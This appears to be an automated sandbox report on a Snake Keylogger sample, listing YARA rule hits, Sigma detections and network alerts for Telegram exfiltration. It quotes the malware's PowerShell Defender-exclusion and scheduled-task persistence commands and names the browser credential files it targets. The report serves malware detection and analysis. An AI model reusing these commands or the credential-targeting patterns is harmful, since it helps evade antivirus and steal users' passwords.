0.2.Customer Request.exe.459de50.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17e18:$x1: $%SMTPDV$ 0x167d4:$x2: $#TheHashHere%& 0x17dc0:$x3: %FTPDV$ 0x16774:$x4: $%TelegramDv$ 0x1402c:$x5: KeyLoggerEventArgs 0x143c1:$x5: KeyLoggerEventArgs 0x17de4:$m2: Clipboard Logs ID 0x18022:$m2: Screenshot Logs ID 0x18132:$m2: keystroke Logs ID 0x1840c:$m3: SnakePW 0x17ffa:$m4: \SnakeKeylogger\
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12df6:$a1: get_encryptedPassword 0x130e2:$a2: get_encryptedUsername 0x12bf2:$a3: get_timePasswordChanged 0x12ced:$a4: get_passwordField 0x12e0c:$a5: set_encryptedPassword 0x1445e:$a7: get_logins 0x143c1:$a10: KeyLoggerEventArgs 0x1402c:$a11: KeyLoggerEventArgsEventHandler
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a8bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19aee:$a3: \Google\Chrome\User Data\Default\Login Data 0x19f21:$a4: \Orbitum\User Data\Default\Login Data 0x1af60:$a5: \Kometa\User Data\Default\Login Data
0.2.Customer Request.exe.459de50.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Customer Request.exe.459de50.0.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Customer Request.exe.459de50.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14bf6:$a1: get_encryptedPassword 0x35616:$a1: get_encryptedPassword 0x14ee2:$a2: get_encryptedUsername 0x35902:$a2: get_encryptedUsername 0x149f2:$a3: get_timePasswordChanged 0x35412:$a3: get_timePasswordChanged 0x14aed:$a4: get_passwordField 0x3550d:$a4: get_passwordField 0x14c0c:$a5: set_encryptedPassword 0x3562c:$a5: set_encryptedPassword 0x1625e:$a7: get_logins 0x36c7e:$a7: get_logins 0x161c1:$a10: KeyLoggerEventArgs 0x36be1:$a10: KeyLoggerEventArgs 0x15e2c:$a11: KeyLoggerEventArgsEventHandler 0x3684c:$a11: KeyLoggerEventArgsEventHandler
0.2.Customer Request.exe.459de50.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c6bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d0dc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b8ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x3c30e:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bd21:$a4: \Orbitum\User Data\Default\Login Data 0x3c741:$a4: \Orbitum\User Data\Default\Login Data 0x1cd60:$a5: \Kometa\User Data\Default\Login Data 0x3d780:$a5: \Kometa\User Data\Default\Login Data
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14bf6:$a1: get_encryptedPassword 0x35616:$a1: get_encryptedPassword 0x14ee2:$a2: get_encryptedUsername 0x35902:$a2: get_encryptedUsername 0x149f2:$a3: get_timePasswordChanged 0x35412:$a3: get_timePasswordChanged 0x14aed:$a4: get_passwordField 0x3550d:$a4: get_passwordField 0x14c0c:$a5: set_encryptedPassword 0x3562c:$a5: set_encryptedPassword 0x1625e:$a7: get_logins 0x36c7e:$a7: get_logins 0x161c1:$a10: KeyLoggerEventArgs 0x36be1:$a10: KeyLoggerEventArgs 0x15e2c:$a11: KeyLoggerEventArgsEventHandler 0x3684c:$a11: KeyLoggerEventArgsEventHandler
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x139db:$s1: UnHook 0x139e2:$s2: SetHook 0x139ea:$s3: CallNextHook 0x139f7:$s4: _hook
11.2.gCFuOglEso.exe.3e49cc8.1.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17e18:$x1: $%SMTPDV$ 0x167d4:$x2: $#TheHashHere%& 0x17dc0:$x3: %FTPDV$ 0x16774:$x4: $%TelegramDv$ 0x1402c:$x5: KeyLoggerEventArgs 0x143c1:$x5: KeyLoggerEventArgs 0x17de4:$m2: Clipboard Logs ID 0x18022:$m2: Screenshot Logs ID 0x18132:$m2: keystroke Logs ID 0x1840c:$m3: SnakePW 0x17ffa:$m4: \SnakeKeylogger\
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c6bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d0dc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b8ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x3c30e:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bd21:$a4: \Orbitum\User Data\Default\Login Data 0x3c741:$a4: \Orbitum\User Data\Default\Login Data 0x1cd60:$a5: \Kometa\User Data\Default\Login Data 0x3d780:$a5: \Kometa\User Data\Default\Login Data
0.2.Customer Request.exe.459de50.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x157db:$s1: UnHook 0x361fb:$s1: UnHook 0x157e2:$s2: SetHook 0x36202:$s2: SetHook 0x157ea:$s3: CallNextHook 0x3620a:$s3: CallNextHook 0x157f7:$s4: _hook 0x36217:$s4: _hook
0.2.Customer Request.exe.459de50.0.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19c18:$x1: $%SMTPDV$ 0x3a638:$x1: $%SMTPDV$ 0x185d4:$x2: $#TheHashHere%& 0x38ff4:$x2: $#TheHashHere%& 0x19bc0:$x3: %FTPDV$ 0x3a5e0:$x3: %FTPDV$ 0x18574:$x4: $%TelegramDv$ 0x38f94:$x4: $%TelegramDv$ 0x15e2c:$x5: KeyLoggerEventArgs 0x161c1:$x5: KeyLoggerEventArgs 0x3684c:$x5: KeyLoggerEventArgs 0x36be1:$x5: KeyLoggerEventArgs 0x19be4:$m2: Clipboard Logs ID 0x19e22:$m2: Screenshot Logs ID 0x19f32:$m2: keystroke Logs ID 0x3a604:$m2: Clipboard Logs ID 0x3a842:$m2: Screenshot Logs ID 0x3a952:$m2: keystroke Logs ID 0x1a20c:$m3: SnakePW 0x3ac2c:$m3: SnakePW 0x19dfa:$m4: \SnakeKeylogger\
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x157db:$s1: UnHook 0x361fb:$s1: UnHook 0x157e2:$s2: SetHook 0x36202:$s2: SetHook 0x157ea:$s3: CallNextHook 0x3620a:$s3: CallNextHook 0x157f7:$s4: _hook 0x36217:$s4: _hook
11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19c18:$x1: $%SMTPDV$ 0x3a638:$x1: $%SMTPDV$ 0x185d4:$x2: $#TheHashHere%& 0x38ff4:$x2: $#TheHashHere%& 0x19bc0:$x3: %FTPDV$ 0x3a5e0:$x3: %FTPDV$ 0x18574:$x4: $%TelegramDv$ 0x38f94:$x4: $%TelegramDv$ 0x15e2c:$x5: KeyLoggerEventArgs 0x161c1:$x5: KeyLoggerEventArgs 0x3684c:$x5: KeyLoggerEventArgs 0x36be1:$x5: KeyLoggerEventArgs 0x19be4:$m2: Clipboard Logs ID 0x19e22:$m2: Screenshot Logs ID 0x19f32:$m2: keystroke Logs ID 0x3a604:$m2: Clipboard Logs ID 0x3a842:$m2: Screenshot Logs ID 0x3a952:$m2: keystroke Logs ID 0x1a20c:$m3: SnakePW 0x3ac2c:$m3: SnakePW 0x19dfa:$m4: \SnakeKeylogger\
0.2.Customer Request.exe.457d230.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Customer Request.exe.457d230.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Customer Request.exe.457d230.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14bf6:$a1: get_encryptedPassword 0x35816:$a1: get_encryptedPassword 0x56236:$a1: get_encryptedPassword 0x14ee2:$a2: get_encryptedUsername 0x35b02:$a2: get_encryptedUsername 0x56522:$a2: get_encryptedUsername 0x149f2:$a3: get_timePasswordChanged 0x35612:$a3: get_timePasswordChanged 0x56032:$a3: get_timePasswordChanged 0x14aed:$a4: get_passwordField 0x3570d:$a4: get_passwordField 0x5612d:$a4: get_passwordField 0x14c0c:$a5: set_encryptedPassword 0x3582c:$a5: set_encryptedPassword 0x5624c:$a5: set_encryptedPassword 0x1625e:$a7: get_logins 0x36e7e:$a7: get_logins 0x5789e:$a7: get_logins 0x161c1:$a10: KeyLoggerEventArgs 0x36de1:$a10: KeyLoggerEventArgs 0x57801:$a10: KeyLoggerEventArgs
0.2.Customer Request.exe.457d230.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c6bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d2dc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5dcfc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b8ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x3c50e:$a3: \Google\Chrome\User Data\Default\Login Data 0x5cf2e:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bd21:$a4: \Orbitum\User Data\Default\Login Data 0x3c941:$a4: \Orbitum\User Data\Default\Login Data 0x5d361:$a4: \Orbitum\User Data\Default\Login Data 0x1cd60:$a5: \Kometa\User Data\Default\Login Data 0x3d980:$a5: \Kometa\User Data\Default\Login Data 0x5e3a0:$a5: \Kometa\User Data\Default\Login Data
0.2.Customer Request.exe.457d230.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x157db:$s1: UnHook 0x363fb:$s1: UnHook 0x56e1b:$s1: UnHook 0x157e2:$s2: SetHook 0x36402:$s2: SetHook 0x56e22:$s2: SetHook 0x157ea:$s3: CallNextHook 0x3640a:$s3: CallNextHook 0x56e2a:$s3: CallNextHook 0x157f7:$s4: _hook 0x36417:$s4: _hook 0x56e37:$s4: _hook
0.2.Customer Request.exe.457d230.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19c18:$x1: $%SMTPDV$ 0x3a838:$x1: $%SMTPDV$ 0x5b258:$x1: $%SMTPDV$ 0x185d4:$x2: $#TheHashHere%& 0x391f4:$x2: $#TheHashHere%& 0x59c14:$x2: $#TheHashHere%& 0x19bc0:$x3: %FTPDV$ 0x3a7e0:$x3: %FTPDV$ 0x5b200:$x3: %FTPDV$ 0x18574:$x4: $%TelegramDv$ 0x39194:$x4: $%TelegramDv$ 0x59bb4:$x4: $%TelegramDv$ 0x15e2c:$x5: KeyLoggerEventArgs 0x161c1:$x5: KeyLoggerEventArgs 0x36a4c:$x5: KeyLoggerEventArgs 0x36de1:$x5: KeyLoggerEventArgs 0x5746c:$x5: KeyLoggerEventArgs 0x57801:$x5: KeyLoggerEventArgs 0x19be4:$m2: Clipboard Logs ID 0x19e22:$m2: Screenshot Logs ID 0x19f32:$m2: keystroke Logs ID
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14bf6:$a1: get_encryptedPassword 0x35816:$a1: get_encryptedPassword 0x56236:$a1: get_encryptedPassword 0x14ee2:$a2: get_encryptedUsername 0x35b02:$a2: get_encryptedUsername 0x56522:$a2: get_encryptedUsername 0x149f2:$a3: get_timePasswordChanged 0x35612:$a3: get_timePasswordChanged 0x56032:$a3: get_timePasswordChanged 0x14aed:$a4: get_passwordField 0x3570d:$a4: get_passwordField 0x5612d:$a4: get_passwordField 0x14c0c:$a5: set_encryptedPassword 0x3582c:$a5: set_encryptedPassword 0x5624c:$a5: set_encryptedPassword 0x1625e:$a7: get_logins 0x36e7e:$a7: get_logins 0x5789e:$a7: get_logins 0x161c1:$a10: KeyLoggerEventArgs 0x36de1:$a10: KeyLoggerEventArgs 0x57801:$a10: KeyLoggerEventArgs
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c6bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d2dc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5dcfc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b8ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x3c50e:$a3: \Google\Chrome\User Data\Default\Login Data 0x5cf2e:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bd21:$a4: \Orbitum\User Data\Default\Login Data 0x3c941:$a4: \Orbitum\User Data\Default\Login Data 0x5d361:$a4: \Orbitum\User Data\Default\Login Data 0x1cd60:$a5: \Kometa\User Data\Default\Login Data 0x3d980:$a5: \Kometa\User Data\Default\Login Data 0x5e3a0:$a5: \Kometa\User Data\Default\Login Data
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x157db:$s1: UnHook 0x363fb:$s1: UnHook 0x56e1b:$s1: UnHook 0x157e2:$s2: SetHook 0x36402:$s2: SetHook 0x56e22:$s2: SetHook 0x157ea:$s3: CallNextHook 0x3640a:$s3: CallNextHook 0x56e2a:$s3: CallNextHook 0x157f7:$s4: _hook 0x36417:$s4: _hook 0x56e37:$s4: _hook
11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19c18:$x1: $%SMTPDV$ 0x3a838:$x1: $%SMTPDV$ 0x5b258:$x1: $%SMTPDV$ 0x185d4:$x2: $#TheHashHere%& 0x391f4:$x2: $#TheHashHere%& 0x59c14:$x2: $#TheHashHere%& 0x19bc0:$x3: %FTPDV$ 0x3a7e0:$x3: %FTPDV$ 0x5b200:$x3: %FTPDV$ 0x18574:$x4: $%TelegramDv$ 0x39194:$x4: $%TelegramDv$ 0x59bb4:$x4: $%TelegramDv$ 0x15e2c:$x5: KeyLoggerEventArgs 0x161c1:$x5: KeyLoggerEventArgs 0x36a4c:$x5: KeyLoggerEventArgs 0x36de1:$x5: KeyLoggerEventArgs 0x5746c:$x5: KeyLoggerEventArgs 0x57801:$x5: KeyLoggerEventArgs 0x19be4:$m2: Clipboard Logs ID 0x19e22:$m2: Screenshot Logs ID 0x19f32:$m2: keystroke Logs ID
Click to see the 44 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Customer Request.exe", ParentImage: C:\Users\user\Desktop\Customer Request.exe, ParentProcessId: 5944, ParentProcessName: Customer Request.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", ProcessId: 4640, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\gCFuOglEso.exe, ParentImage: C:\Users\user\AppData\Roaming\gCFuOglEso.exe, ParentProcessId: 4500, ParentProcessName: gCFuOglEso.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp", ProcessId: 7344, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Customer Request.exe", ParentImage: C:\Users\user\Desktop\Customer Request.exe, ParentProcessId: 5944, ParentProcessName: Customer Request.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", ProcessId: 6768, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Customer Request.exe", ParentImage: C:\Users\user\Desktop\Customer Request.exe, ParentProcessId: 5944, ParentProcessName: Customer Request.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe", ProcessId: 4640, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Customer Request.exe", ParentImage: C:\Users\user\Desktop\Customer Request.exe, ParentProcessId: 5944, ParentProcessName: Customer Request.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp", ProcessId: 6768, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T16:38:26.420075+0100	2803305	3	Unknown Traffic	192.168.2.8	49715	104.21.112.1	443	TCP
2025-02-19T16:38:29.409877+0100	2803305	3	Unknown Traffic	192.168.2.8	49721	104.21.112.1	443	TCP
2025-02-19T16:38:31.772843+0100	2803305	3	Unknown Traffic	192.168.2.8	49724	104.21.112.1	443	TCP
2025-02-19T16:38:36.789061+0100	2803305	3	Unknown Traffic	192.168.2.8	49733	104.21.112.1	443	TCP
2025-02-19T16:38:36.798154+0100	2803305	3	Unknown Traffic	192.168.2.8	49734	104.21.112.1	443	TCP
2025-02-19T16:38:38.402818+0100	2803305	3	Unknown Traffic	192.168.2.8	49738	104.21.112.1	443	TCP
2025-02-19T16:38:48.333273+0100	2803305	3	Unknown Traffic	192.168.2.8	49746	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T16:38:24.507467+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	132.226.8.169	80	TCP
2025-02-19T16:38:25.959932+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	132.226.8.169	80	TCP
2025-02-19T16:38:27.381782+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49717	132.226.8.169	80	TCP
2025-02-19T16:38:28.584928+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49718	132.226.8.169	80	TCP
2025-02-19T16:38:28.834923+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49720	132.226.8.169	80	TCP
2025-02-19T16:38:31.084905+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49718	132.226.8.169	80	TCP
2025-02-19T16:38:33.538053+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49727	132.226.8.169	80	TCP
2025-02-19T16:38:36.006789+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49730	132.226.8.169	80	TCP
2025-02-19T16:38:38.772425+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49737	132.226.8.169	80	TCP
2025-02-19T16:38:41.569306+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49740	132.226.8.169	80	TCP

ETPRO MALWARE Snake Keylogger Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T16:38:44.751974+0100	2853006	1	A Network Trojan was detected	192.168.2.8	49743	149.154.167.220	443	TCP
2025-02-19T16:38:55.245532+0100	2853006	1	A Network Trojan was detected	192.168.2.8	49747	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T16:38:44.355485+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49743	149.154.167.220	443	TCP
2025-02-19T16:38:54.815601+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49747	149.154.167.220	443	TCP
2025-02-19T16:38:55.137343+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49748	149.154.167.220	443	TCP
2025-02-19T16:38:56.997076+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49749	149.154.167.220	443	TCP
2025-02-19T16:38:58.678083+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49750	149.154.167.220	443	TCP
2025-02-19T16:39:00.660343+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49751	149.154.167.220	443	TCP
2025-02-19T16:39:02.295453+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49752	149.154.167.220	443	TCP
2025-02-19T16:39:04.049970+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49753	149.154.167.220	443	TCP
2025-02-19T16:39:05.252356+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49754	149.154.167.220	443	TCP
2025-02-19T16:39:05.843812+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49755	149.154.167.220	443	TCP
2025-02-19T16:39:07.013538+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49756	149.154.167.220	443	TCP
2025-02-19T16:39:07.609277+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49757	149.154.167.220	443	TCP
2025-02-19T16:39:08.930533+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49758	149.154.167.220	443	TCP
2025-02-19T16:39:09.413267+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49759	149.154.167.220	443	TCP
2025-02-19T16:39:10.678492+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49760	149.154.167.220	443	TCP
2025-02-19T16:39:11.045090+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49761	149.154.167.220	443	TCP
2025-02-19T16:39:13.212372+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49762	149.154.167.220	443	TCP
2025-02-19T16:39:14.182734+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49764	149.154.167.220	443	TCP
2025-02-19T16:39:14.998645+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49765	149.154.167.220	443	TCP
2025-02-19T16:39:16.012936+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49766	149.154.167.220	443	TCP
2025-02-19T16:39:16.640024+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49767	149.154.167.220	443	TCP
2025-02-19T16:39:17.774253+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49768	149.154.167.220	443	TCP
2025-02-19T16:39:18.851088+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49769	149.154.167.220	443	TCP
2025-02-19T16:39:19.476478+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49770	149.154.167.220	443	TCP
2025-02-19T16:39:20.968915+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49771	149.154.167.220	443	TCP
2025-02-19T16:39:21.744463+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49772	149.154.167.220	443	TCP
2025-02-19T16:39:22.649743+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49773	149.154.167.220	443	TCP
2025-02-19T16:39:23.436050+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49774	149.154.167.220	443	TCP
2025-02-19T16:39:24.821611+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49775	149.154.167.220	443	TCP
2025-02-19T16:39:25.120389+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49776	149.154.167.220	443	TCP
2025-02-19T16:39:26.514874+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49777	149.154.167.220	443	TCP
2025-02-19T16:39:26.788390+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49778	149.154.167.220	443	TCP
2025-02-19T16:39:28.486003+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49779	149.154.167.220	443	TCP
2025-02-19T16:39:28.602096+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49780	149.154.167.220	443	TCP
2025-02-19T16:39:31.054616+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49781	149.154.167.220	443	TCP
2025-02-19T16:39:31.069529+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49782	149.154.167.220	443	TCP
2025-02-19T16:39:32.795177+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49783	149.154.167.220	443	TCP
2025-02-19T16:39:33.184254+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49784	149.154.167.220	443	TCP
2025-02-19T16:39:34.605898+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49786	149.154.167.220	443	TCP
2025-02-19T16:39:34.878087+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49787	149.154.167.220	443	TCP
2025-02-19T16:39:36.779494+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49798	149.154.167.220	443	TCP
2025-02-19T16:39:36.924827+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49803	149.154.167.220	443	TCP
2025-02-19T16:39:38.650751+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49815	149.154.167.220	443	TCP
2025-02-19T16:39:39.221052+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49816	149.154.167.220	443	TCP
2025-02-19T16:39:40.493856+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49823	149.154.167.220	443	TCP
